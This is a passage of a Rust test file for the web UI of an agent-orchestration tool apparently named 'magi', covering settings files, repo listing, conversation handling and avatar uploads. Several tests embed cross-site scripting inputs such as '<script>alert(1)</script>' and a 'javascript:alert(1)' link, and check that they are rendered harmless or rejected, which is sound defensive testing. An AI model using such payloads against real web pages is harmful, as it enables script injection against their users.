11258 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
11259 }
11260
11261 #[tokio::test]
11262 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
11263 let (_tmp, repo, machine) = settings_dirs(
11264 SETTINGS_AGENTS,
11265 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
11266 );
11267 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
11268 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11269 let rev = f.get("/api/settings").await.json()["revision"]
11270 .as_str()
11271 .expect("revision")
11272 .to_owned();
11273 let body = serde_json::json!({
11274 "revision": rev,
11275 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
11276 })
11277 .to_string();
11278 let res = f.put("/api/settings/roles", &body).await;
11279 assert_eq!(res.status, 200, "{}", res.body);
11280 let text = std::fs::read_to_string(&machine).expect("machine");
11281 assert_eq!(
11282 text,
11283 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
11284 );
11285 assert_eq!(
11286 std::fs::read(repo.join("magi.toml")).expect("read"),
11287 repo_before
11288 );
11289 let again = f.get("/api/settings").await.json();
11290 let judges = again["roles"]
11291 .as_array()
11292 .expect("roles")
11293 .iter()
11294 .find(|r| r["key"] == "judges")
11295 .expect("judges")
11296 .clone();
11297 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
11298 let stale = f.put("/api/settings/roles", &body).await;
11300 assert_eq!(stale.status, 409, "{}", stale.body);
11301 }
11302
11303 #[tokio::test]
11304 async fn settings_counts_are_reported_and_saved() {
11305 let (_tmp, repo, machine) = settings_dirs(
11306 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
11307 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
11308 );
11309 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11310 let v = f.get("/api/settings").await.json();
11311 let count = |v: &serde_json::Value, k: &str| {
11312 v["roles"]
11313 .as_array()
11314 .and_then(|r| r.iter().find(|x| x["key"] == k))
11315 .map(|x| x["count"].clone())
11316 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11317 };
11318 let imp = count(&v, "implementers");
11319 assert_eq!(imp["value"], 2);
11320 assert_eq!(imp["source"], "machine");
11321 assert_eq!(imp["file_key"], "candidates");
11322 assert_eq!(imp["roster_len"], 2);
11323 assert_eq!(imp["backups"], 0);
11324 assert_eq!(count(&v, "judges")["source"], "default");
11325 assert_eq!(count(&v, "advisors")["min"], 0);
11326 assert_eq!(count(&v, "reviewers")["editable"], false);
11327 assert!(
11328 count(&v, "reviewers")["locked_reason"]
11329 .as_str()
11330 .is_some_and(|m| m.contains("graph.reviewers"))
11331 );
11332 assert!(count(&v, "fixer").is_null());
11333 let rev = v["revision"].as_str().expect("revision").to_owned();
11334 let body = serde_json::json!({
11335 "revision": rev,
11336 "roles": { "judges": ["b"] },
11337 "counts": { "implementers": 1, "advisors": 0 }
11338 })
11339 .to_string();
11340 let res = f.put("/api/settings/roles", &body).await;
11341 assert_eq!(res.status, 200, "{}", res.body);
11342 let text = std::fs::read_to_string(&machine).expect("machine");
11343 assert_eq!(
11344 text,
11345 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
11346 );
11347 let after = f.get("/api/settings").await.json();
11348 assert_eq!(count(&after, "implementers")["value"], 1);
11349 assert_eq!(count(&after, "implementers")["backups"], 1);
11350 assert_eq!(count(&after, "advisors")["value"], 0);
11351 let before = std::fs::read_to_string(&machine).expect("machine");
11352 let rev = after["revision"].as_str().expect("revision").to_owned();
11353 for counts in [
11354 serde_json::json!({ "judges": 0 }),
11355 serde_json::json!({ "judges": "x" }),
11356 serde_json::json!({ "judges": 2.5 }),
11357 serde_json::json!({ "judges": -1 }),
11358 serde_json::json!({ "reviewers": 3 }),
11359 serde_json::json!({ "bogus": 3 }),
11360 ] {
11361 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
11362 let res = f.put("/api/settings/roles", &body).await;
11363 assert_eq!(res.status, 422, "{counts}: {}", res.body);
11364 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
11365 }
11366 }
11367
11368 #[tokio::test]
11369 async fn settings_put_refuses_without_touching_the_file() {
11370 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
11371 let (_tmp, repo, machine) = settings_dirs(
11372 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
11373 Some(machine_text),
11374 );
11375 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11376 let rev = f.get("/api/settings").await.json()["revision"]
11377 .as_str()
11378 .expect("revision")
11379 .to_owned();
11380 for roles in [
11381 serde_json::json!({ "judges": ["nope"] }),
11382 serde_json::json!({ "reviewers": ["b"] }),
11383 serde_json::json!({ "bogus": ["a"] }),
11384 ] {
11385 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11386 let res = f.put("/api/settings/roles", &body).await;
11387 assert_eq!(res.status, 422, "{roles}: {}", res.body);
11388 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11389 assert_eq!(
11390 std::fs::read_to_string(&machine).expect("machine"),
11391 machine_text
11392 );
11393 }
11394 }
11395
11396 #[tokio::test]
11397 async fn repos_list_returns_name_and_path_for_every_configured_root() {
11398 let tmp = TempDir::new().expect("tempdir");
11399 let repo = tmp.path().join("repo");
11400 std::fs::create_dir_all(&repo).expect("repo dir");
11401 let root = tmp.path().join("root");
11402 make_checkout(&root, "github.com", "yukimemi", "magi");
11403 std::fs::write(
11404 repo.join("magi.toml"),
11405 format!(
11406 "[repos]\nroots = [{:?}]\n",
11407 root.to_string_lossy().into_owned()
11408 ),
11409 )
11410 .expect("write magi.toml");
11411
11412 let f = Fixture::with_repo(repo).await;
11413 let res = f.get("/api/repos").await;
11414 assert_eq!(res.status, 200, "{}", res.body);
11415 let list = res.json();
11416 let repos = list.as_array().expect("an array");
11417 assert_eq!(repos.len(), 1);
11418 assert_eq!(repos[0]["name"], "yukimemi/magi");
11419 assert!(
11420 repos[0]["path"]
11421 .as_str()
11422 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11423 "{list}"
11424 );
11425 }
11426
11427 #[tokio::test]
11428 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11429 let tmp = TempDir::new().expect("tempdir");
11430 let repo = tmp.path().join("repo");
11431 std::fs::create_dir_all(&repo).expect("repo dir");
11432 let root = tmp.path().join("root");
11433 make_checkout(&root, "github.com", "yukimemi", "magi");
11434 std::fs::write(
11435 repo.join("magi.toml"),
11436 format!(
11437 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11438 root.to_string_lossy().into_owned()
11439 ),
11440 )
11441 .expect("write magi.toml");
11442
11443 let f = Fixture::with_repo(repo).await;
11444 let first = f.get("/api/repos").await;
11445 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11446
11447 make_checkout(&root, "github.com", "yukimemi", "rvpm");
11450 let second = f.get("/api/repos").await;
11451 assert_eq!(
11452 second.json().as_array().map(Vec::len),
11453 Some(1),
11454 "a fresh cache must not rescan inside the TTL"
11455 );
11456
11457 let refreshed = f.get("/api/repos?refresh=1").await;
11458 assert_eq!(
11459 refreshed.json().as_array().map(Vec::len),
11460 Some(2),
11461 "an explicit refresh must rescan even inside the TTL"
11462 );
11463 }
11464
11465 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11471
11472 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11476 let tmp = TempDir::new().expect("tempdir");
11477 let repo = tmp.path().join("repo");
11478 std::fs::create_dir_all(&repo).expect("repo dir");
11479 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11480 let f = Fixture::with_repo(repo.clone()).await;
11481 (tmp, repo, f)
11482 }
11483
11484 #[tokio::test]
11485 async fn posting_a_talk_with_remembered_choices_is_soft() {
11486 let (_tmp, _repo, f) = talk_fixture().await;
11487
11488 let good = f
11489 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11490 .await;
11491 assert_eq!(good.status, 201, "{}", good.body);
11492 assert_eq!(good.json()["persona"], "rei");
11493
11494 let stale = f
11496 .post(
11497 "/api/talks",
11498 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11499 )
11500 .await;
11501 assert_eq!(stale.status, 201, "{}", stale.body);
11502 let v = stale.json();
11503 assert_eq!(v["implementers"], 1);
11504 assert_ne!(v["persona"], "nobody");
11505 let typed = f
11506 .post(
11507 "/api/talks",
11508 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11509 )
11510 .await;
11511 assert_eq!(typed.status, 201, "{}", typed.body);
11512
11513 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11515 assert!(
11516 !strict.status.to_string().starts_with('2'),
11517 "{}",
11518 strict.body
11519 );
11520 }
11521
11522 #[tokio::test]
11523 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11524 let (_tmp, _repo, f) = talk_fixture().await;
11525
11526 let opened = f.post("/api/talks", None).await;
11529 assert_eq!(opened.status, 201, "{}", opened.body);
11530 let body = opened.json();
11531 assert_eq!(body["status"], "open");
11532 assert_eq!(
11533 body["turns"].as_array().unwrap().len(),
11534 0,
11535 "opening takes no agent turn: there is nothing yet to answer"
11536 );
11537
11538 let also_opened = f.post("/api/talks", Some("{}")).await;
11540 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
11541
11542 let listed = f.get("/api/talks").await.json();
11543 assert_eq!(listed.as_array().unwrap().len(), 2);
11544 }
11545
11546 #[tokio::test]
11547 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
11548 let tmp = TempDir::new().expect("tempdir");
11549 let repo = tmp.path().join("repo");
11550 std::fs::create_dir_all(&repo).expect("repo dir");
11551 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
11552 std::fs::write(
11553 repo.join("magi.toml"),
11554 format!("{MOCK_AGENT_TOML}\n{second}"),
11555 )
11556 .expect("write magi.toml");
11557 let home = TempDir::new().expect("temp home");
11558 let talks = Talks::at(home.path().join("talks"));
11559 let ui = Arc::new(
11560 Ui::new(
11561 Queue::at(home.path().join("queue")),
11562 Questions::at(home.path().join("questions")),
11563 talks.clone(),
11564 home.path().join("runs"),
11565 home.path().to_path_buf(),
11566 repo.clone(),
11567 )
11568 .with_worktrees_root(home.path().join("wt")),
11569 );
11570 let cfg = config_for(&repo).await.expect("discover config");
11571 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11572 let id = talk.id.clone();
11573 let call = |agent: &str| {
11574 talk_agent(
11575 State(Arc::clone(&ui)),
11576 Path(id.clone()),
11577 Json(TalkAgent {
11578 agent: agent.to_owned(),
11579 }),
11580 )
11581 };
11582
11583 let unknown = call("nobody").await.expect_err("unknown agent");
11584 assert_eq!(
11585 unknown.status,
11586 StatusCode::BAD_REQUEST,
11587 "{}",
11588 unknown.message
11589 );
11590
11591 {
11592 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11595 let busy = call("second").await.expect_err("busy talk");
11596 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11597 assert!(
11598 busy.message.contains("a talk turn is running"),
11599 "{}",
11600 busy.message
11601 );
11602 drop(guard);
11603 }
11604 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
11605
11606 let Json(view) = call("second").await.expect("switch");
11607 assert_eq!(view.talk.agent, "second");
11608 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
11609 let saved = talks.get(&id).expect("reload");
11610 assert_eq!(saved.agent, "second");
11611 assert_eq!(saved.turns.len(), 1);
11612 assert!(!view.thinking);
11613 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11614 for agent in ["mock", "second"] {
11615 let Json(view) = call(agent).await.expect("immediate consecutive change");
11616 assert_eq!(view.talk.agent, agent);
11617 assert!(!view.thinking);
11618 assert!(!ui.is_thinking(&id));
11619 }
11620
11621 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11622 .await
11623 .expect("detail");
11624 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
11625 assert_eq!(roster, ["mock", "second"]);
11626
11627 let mut closed = talks.get(&id).expect("reload");
11628 talk::close(&mut closed, &talks).expect("close");
11629 let refused = call("mock").await.expect_err("closed talk");
11630 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11631 assert!(
11632 refused.message.contains("takes no more turns"),
11633 "{}",
11634 refused.message
11635 );
11636 }
11637
11638 #[tokio::test]
11639 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
11640 let tmp = TempDir::new().expect("tempdir");
11641 let repo = tmp.path().join("repo");
11642 std::fs::create_dir_all(&repo).expect("repo dir");
11643 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11644 let home = TempDir::new().expect("temp home");
11645 let talks = Talks::at(home.path().join("talks"));
11646 let ui = Arc::new(
11647 Ui::new(
11648 Queue::at(home.path().join("queue")),
11649 Questions::at(home.path().join("questions")),
11650 talks.clone(),
11651 home.path().join("runs"),
11652 home.path().to_path_buf(),
11653 repo.clone(),
11654 )
11655 .with_worktrees_root(home.path().join("wt")),
11656 );
11657 let cfg = config_for(&repo).await.expect("discover config");
11658 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11659 let id = talk.id.clone();
11660 let call = |n: u8| {
11661 talk_implementers(
11662 State(Arc::clone(&ui)),
11663 Path(id.clone()),
11664 Json(TalkImplementers { implementers: n }),
11665 )
11666 };
11667
11668 for bad in [0u8, 4] {
11669 let e = call(bad).await.expect_err("out of range");
11670 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
11671 }
11672 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
11673
11674 {
11675 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11678 let busy = call(2).await.expect_err("busy talk");
11679 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11680 assert!(
11681 busy.message.contains("a talk turn is running"),
11682 "{}",
11683 busy.message
11684 );
11685 drop(guard);
11686 }
11687
11688 let Json(view) = call(3).await.expect("switch");
11689 assert_eq!(view.talk.implementers, 3);
11690 assert!(talks.get(&id).expect("reload").implementers_dirty);
11691 assert!(!view.thinking);
11692 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11693 for n in [1, 2, 3] {
11694 let Json(view) = call(n).await.expect("immediate consecutive change");
11695 assert_eq!(view.talk.implementers, n);
11696 assert!(!view.thinking);
11697 assert!(!ui.is_thinking(&id));
11698 }
11699
11700 let mut closed = talks.get(&id).expect("reload");
11701 talk::close(&mut closed, &talks).expect("close");
11702 let e = call(2).await.expect_err("closed talk");
11703 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
11704 assert!(e.message.contains("takes no more turns"), "{}", e.message);
11705 }
11706
11707 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
11709 let tmp = TempDir::new().expect("tempdir");
11710 let repo = tmp.path().join("repo");
11711 std::fs::create_dir_all(&repo).expect("repo dir");
11712 std::fs::write(
11713 repo.join("magi.toml"),
11714 format!("{MOCK_AGENT_TOML}\n{extra}"),
11715 )
11716 .expect("write magi.toml");
11717 let home = TempDir::new().expect("temp home");
11718 let talks = Talks::at(home.path().join("talks"));
11719 let ui = Arc::new(
11720 Ui::new(
11721 Queue::at(home.path().join("queue")),
11722 Questions::at(home.path().join("questions")),
11723 talks.clone(),
11724 home.path().join("runs"),
11725 home.path().to_path_buf(),
11726 repo.clone(),
11727 )
11728 .with_worktrees_root(home.path().join("wt")),
11729 );
11730 let cfg = config_for(&repo).await.expect("discover config");
11731 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11732 (tmp, home, ui, talk.id, repo)
11733 }
11734
11735 #[tokio::test]
11736 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
11737 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11738 let mut conversation = ui.talks.get(&id).unwrap();
11739 talk::record(
11740 &mut conversation,
11741 &ui.talks,
11742 "# Update on a task you filed\noperator words",
11743 vec![],
11744 )
11745 .unwrap();
11746 conversation.turns[0].sender = None;
11748 conversation.turns[0].messages.clear();
11749 ui.talks.put(&mut conversation).unwrap();
11750 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
11751 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
11752 talk::drain(&mut conversation, &ui.talks).unwrap();
11753 talk::record_reply(
11754 &mut conversation,
11755 &ui.talks,
11756 "about that report",
11757 vec![],
11758 Some(talk::ReplyTarget {
11759 turn: 1,
11760 message: 1,
11761 }),
11762 )
11763 .unwrap();
11764 conversation.turns[2].messages[0]
11765 .reply
11766 .as_mut()
11767 .unwrap()
11768 .sender = None;
11769 conversation.turns.push(talk::Turn {
11770 sender: Some(talk::Sender::Persona),
11771 who: talk::Who::Agent,
11772 body: "magi: actual persona words".into(),
11773 at: Timestamp::now(),
11774 attachments: vec![],
11775 usage: None,
11776 breaks: None,
11777 messages: vec![],
11778 posted_by: None,
11779 });
11780 ui.talks.put(&mut conversation).unwrap();
11781 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11782 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
11783 assert_eq!(
11784 view.talk.turns[1].messages[0].sender,
11785 Some(talk::Sender::Operator)
11786 );
11787 assert_eq!(
11788 view.talk.turns[1].messages[1].sender,
11789 Some(talk::Sender::Magi)
11790 );
11791 assert_eq!(
11792 view.talk.turns[2].messages[0]
11793 .reply
11794 .as_ref()
11795 .unwrap()
11796 .sender,
11797 Some(talk::Sender::Magi)
11798 );
11799 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
11800 assert_eq!(view.turn_messages_md[0].len(), 1);
11801 assert!(view.turn_messages_md[0][0].is_none());
11802 assert!(view.turn_messages_md[1][0].is_none());
11803 assert!(view.turn_messages_md[1][1].is_some());
11804 }
11805
11806 #[tokio::test]
11807 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
11808 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11809 let mut conversation = ui.talks.get(&id).unwrap();
11810 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
11811 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11812 talk::queue_notice(
11813 &mut conversation,
11814 &ui.talks,
11815 &body,
11816 "watch:123",
11817 &|_| false,
11818 None,
11819 display.clone(),
11820 )
11821 .unwrap();
11822 assert!(
11823 !talk::queue_notice(
11824 &mut conversation,
11825 &ui.talks,
11826 &body,
11827 "watch:123",
11828 &|_| false,
11829 None,
11830 display.clone()
11831 )
11832 .unwrap()
11833 );
11834 let saved = ui.talks.get(&id).unwrap();
11835 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
11836 let view = TalkView::with_config(saved, false, None, &ui.home);
11837 assert!(
11838 view.talk.turns[0].messages[0].display.is_none(),
11839 "operator copy stays literal"
11840 );
11841 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
11842 assert!(view.turn_messages_md[0][0].is_none());
11843 let queued_md = view.pending_messages_md[0].clone();
11844 assert_eq!(
11845 queued_md,
11846 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
11847 );
11848 talk::drain(&mut conversation, &ui.talks).unwrap();
11849 talk::record_reply(
11850 &mut conversation,
11851 &ui.talks,
11852 "Explain",
11853 vec![],
11854 Some(talk::ReplyTarget {
11855 turn: 1,
11856 message: 0,
11857 }),
11858 )
11859 .unwrap();
11860 let mut saved = ui.talks.get(&id).unwrap();
11861 assert_eq!(saved.turns[1].messages[0].body, body);
11862 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
11863 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
11864 assert!(!reply.excerpt.contains("automatic report"));
11865 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
11868 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11869 assert_eq!(view.turn_messages_md[1][0], queued_md);
11870 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
11871 assert!(
11872 !view.talk.turns[2].messages[0]
11873 .reply
11874 .as_ref()
11875 .unwrap()
11876 .excerpt
11877 .contains("automatic report")
11878 );
11879 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
11880 }
11881
11882 #[tokio::test]
11883 async fn consultation_display_hides_directives_in_queue_and_history() {
11884 for node in [
11885 "implement",
11886 crate::land::APPROVAL_NODE,
11887 crate::github_text::ASK_NODE,
11888 ] {
11889 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11890 let mut question = Question::new(
11891 "run-123".into(),
11892 node.into(),
11893 "seat-1".into(),
11894 "Which backend?".into(),
11895 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
11896 vec!["SQLite".into(), "Redis".into()],
11897 );
11898 ui.questions.put(&mut question).unwrap();
11899 let body = crate::prompt::chat_consult(&question);
11900 let mut conversation = ui.talks.get(&id).unwrap();
11901 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11902 assert!(
11903 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
11904 );
11905 conversation = ui.talks.get(&id).unwrap();
11906 assert_eq!(conversation.pending_messages[0].body, body);
11907 assert!(body.contains("magi answer"));
11908 let mut legacy_pending = conversation.clone();
11909 legacy_pending.pending_messages[0].display = None;
11910 let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
11911 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
11912 assert!(legacy_md.contains("Question consultation"));
11913 assert!(!legacy_md.contains("magi answer"));
11914 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
11915 assert!(
11916 view.turn_messages_md[0][0].is_none(),
11917 "operator copy stays literal"
11918 );
11919 let queued_md = view.pending_messages_md[0].clone().unwrap();
11920 let rendered = serde_json::to_string(&queued_md).unwrap();
11921 for visible in [
11922 "Which backend?",
11923 "Context",
11924 "storage",
11925 "SQLite",
11926 "Redis",
11927 "<script>literal</script>",
11928 ] {
11929 assert!(rendered.contains(visible), "missing {visible}");
11930 }
11931 for directive in [
11932 "What to do",
11933 "magi answer",
11934 "Never answer it yourself",
11935 "Do not edit the repository",
11936 ] {
11937 assert!(!rendered.contains(directive), "exposed {directive}");
11938 }
11939 assert_eq!(
11940 view.talk.pending_messages[0].display,
11941 Some(crate::prompt::chat_consult_display(&question))
11942 );
11943 talk::drain(&mut conversation, &ui.talks).unwrap();
11944 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
11945 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
11946 assert_eq!(conversation.turns[1].messages[0].body, body);
11947
11948 conversation.turns[1].messages[0].display = None;
11951 let view = TalkView::with_config(conversation, false, None, &ui.home);
11952 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
11953 assert!(legacy.contains("Question consultation"));
11954 assert!(!legacy.contains("magi answer"));
11955 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
11956 }
11957 }
11958
11959 #[test]
11960 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
11961 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
11962 let (body, mut display) =
11963 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
11964 display.facts = facts.into();
11965 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
11966 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
11967 let json = serde_json::to_string(&nodes).unwrap();
11968 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
11969 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
11970 }
11971 assert!(json.contains("<script>alert(1)</script>"));
11972 assert!(!json.contains("javascript:"));
11973 assert!(!json.contains("Tell the operator"));
11974 assert!(!json.contains("untrusted"));
11975 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
11976 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
11977 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
11978 assert_eq!(
11979 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
11980 md::to_nodes("# Status", &md::ImageBase::None),
11981 );
11982 }
11983
11984 #[tokio::test]
11985 async fn notification_display_recovers_exact_legacy_completion_references() {
11986 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11987 let mut conversation = ui.talks.get(&id).unwrap();
11988 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
11989 id: "task-123",
11990 title: "Change",
11991 status: "done",
11992 reason: None,
11993 run: Some("run-123"),
11994 pr: None,
11995 summary: Some("Merge state unknown"),
11996 });
11997 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11998 conversation.turns[0].sender = None;
11999 conversation.turns[0].messages.clear();
12000 conversation.turns[0].breaks = None;
12001 conversation.pending = body.clone();
12002 conversation
12003 .completion_notices
12004 .push(crate::chat_notify::CompletionReference {
12005 task: "task-123".into(),
12006 run: Some("run-123".into()),
12007 notice: body.clone(),
12008 });
12009 ui.talks.put(&mut conversation).unwrap();
12010 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12011 assert_eq!(
12012 view.talk.turns[0].messages[0].display,
12013 Some(display.clone())
12014 );
12015 assert_eq!(view.talk.pending_messages[0].display, Some(display));
12016 assert_eq!(
12017 view.talk.turns[0].messages[0].sender,
12018 Some(talk::Sender::Magi)
12019 );
12020 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12021 conversation.completion_notices[0]
12022 .notice
12023 .push_str("different");
12024 let view = TalkView::with_config(conversation, false, None, &ui.home);
12025 assert!(view.talk.turns[0].messages.is_empty());
12026 assert!(view.talk.pending_messages.is_empty());
12027 }
12028
12029 #[tokio::test]
12030 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
12031 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
12032 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12033 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12034 let _ = magi_icon_put(
12035 State(ui.clone()),
12036 Json(MagiIconUpload { icon: icon.into() }),
12037 )
12038 .await
12039 .unwrap();
12040 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12041 assert_ne!(original, changed);
12042 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12043 let response = magi_avatar(
12044 State(ui.clone()),
12045 Query(AvatarQuery {
12046 persona: None,
12047 builtin: None,
12048 }),
12049 )
12050 .await;
12051 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12052 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
12053 assert_eq!(
12054 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
12055 "nosniff"
12056 );
12057 for bad in [
12058 "data:image/png;base64,PGh0bWw+".to_owned(),
12059 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12060 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
12061 ] {
12062 assert!(save_magi_icon(home.path(), &bad).is_err());
12063 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12064 }
12065 let restarted = Arc::new(Ui::new(
12067 Queue::at(home.path().join("queue")),
12068 Questions::at(home.path().join("questions")),
12069 Talks::at(home.path().join("talks")),
12070 home.path().join("runs"),
12071 home.path().to_path_buf(),
12072 repo,
12073 ));
12074 assert_eq!(
12075 magi_icon_get(State(restarted.clone())).await.0["avatar"],
12076 changed
12077 );
12078 let view = TalkView::with_config(
12079 restarted.talks.get(&id).unwrap(),
12080 false,
12081 None,
12082 &restarted.home,
12083 );
12084 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
12085 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
12086 let response = magi_avatar(
12087 State(ui.clone()),
12088 Query(AvatarQuery {
12089 persona: None,
12090 builtin: None,
12091 }),
12092 )
12093 .await;
12094 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
12095 .await
12096 .unwrap();
12097 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
12098 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
12099 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
12100 let _ = magi_icon_delete(State(ui)).await.unwrap();
12101 }
12102
12103 async fn avatar(
12105 ui: &Arc<Ui>,
12106 id: &str,
12107 persona: Option<&str>,
12108 builtin: bool,
12109 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
12110 let res = talk_avatar(
12111 State(Arc::clone(ui)),
12112 Path(id.to_owned()),
12113 Query(AvatarQuery {
12114 persona: persona.map(str::to_owned),
12115 builtin: builtin.then(|| "1".to_owned()),
12116 }),
12117 )
12118 .await
12119 .expect("an avatar is never an error response");
12120 let h = res.headers();
12121 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
